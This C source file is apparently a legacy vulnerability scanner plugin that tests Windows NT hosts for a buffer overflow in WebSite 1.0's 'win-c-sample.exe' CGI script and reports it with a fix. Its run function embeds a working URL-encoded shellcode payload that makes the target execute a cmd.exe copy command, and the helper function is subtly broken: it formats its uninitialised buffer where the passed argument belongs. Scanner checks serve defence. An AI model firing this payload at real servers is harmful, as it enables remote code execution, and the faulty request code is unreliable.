/*
 * 
 * WebSite
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>

#define NAME "WebSite 1.0 buffer overflow"
#define DESC "There is a buffer overflow in some WebSite 1.0\n\
CGI scripts which allow a remote intruder to execute any command\n\
on the remote host\n\
Platform affected : WindowsNT\n\
Risk factor : High"
#define COPYRIGHT "no copyright"
#define SUMM "executes some code on a remote host running WebSite 1.0"

int is_http_command_ok(struct arglist * env, char * comm);




PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_ATTACK);
	plug_set_family(desc, "Remote file access");
	return(0);
}

int is_http_command_ok(struct arglist * env, char * comm)
{
 char * command = emalloc(200);
  short soc=-1;
  short i=0;
  char * buff = emalloc(256);
  
  sprintf(command, "GET %s HTTP/1.0\nhostname: %s\n\n",
          command,  plug_get_hostname(env));
          
  soc = open_sock_tcp(env, 80);
  if(soc <0)return(0); /* couldn't open a connection */
  send(soc, command, strlen(command), 0);
  read(soc, buff, 255);
  efree(&command);
  close(soc);
 
  if(strstr(buff, "HTTP/1.0 200 ") || strstr(buff, "HTTP/1.1 200 "))i=1; /* No e
rror */
  else i=0; /* Error */
  
  efree(&buff);
  return(i);
}




PlugExport int plugin_run(struct arglist * env);
PlugExport int plugin_run(struct arglist * env)
{
	char * command = "/cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-\n\
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+h^X%FF%E6%FF%D4%83%C6Lj%01V%8A\n\
%06<_u%03%80.?FAI%84%C0u%F0h0%10%F0wYhM\\y[X%050PzPA9%01u%F0%83%E9%10%\n\
FF%D1h0%10%F0wYh%D0PvLX%0500vPA9%01u%F0%83%E9%1C%FF%D1cmd.exe_/c_copy\n\
_\\WebSite\\readme.1st_\\WebSite\\htdocs\\x1.htm";

	if(host_get_port_state(env, 80)<=0)return(0);
  	if(!is_http_command_ok(env,"x1.htm"))
        {
         is_http_command_ok(env, command);
         if(is_http_command_ok(env, "x1.htm"))
         {
          post_hole(env, 80,
"There is a buffer overflow in the remote script 'win-c-sample.exe' \n\
which allow a remote intruder to execute any command\n\
on the remote host\n\
Solution : delete this script");
         }
        }
	return(0);
}
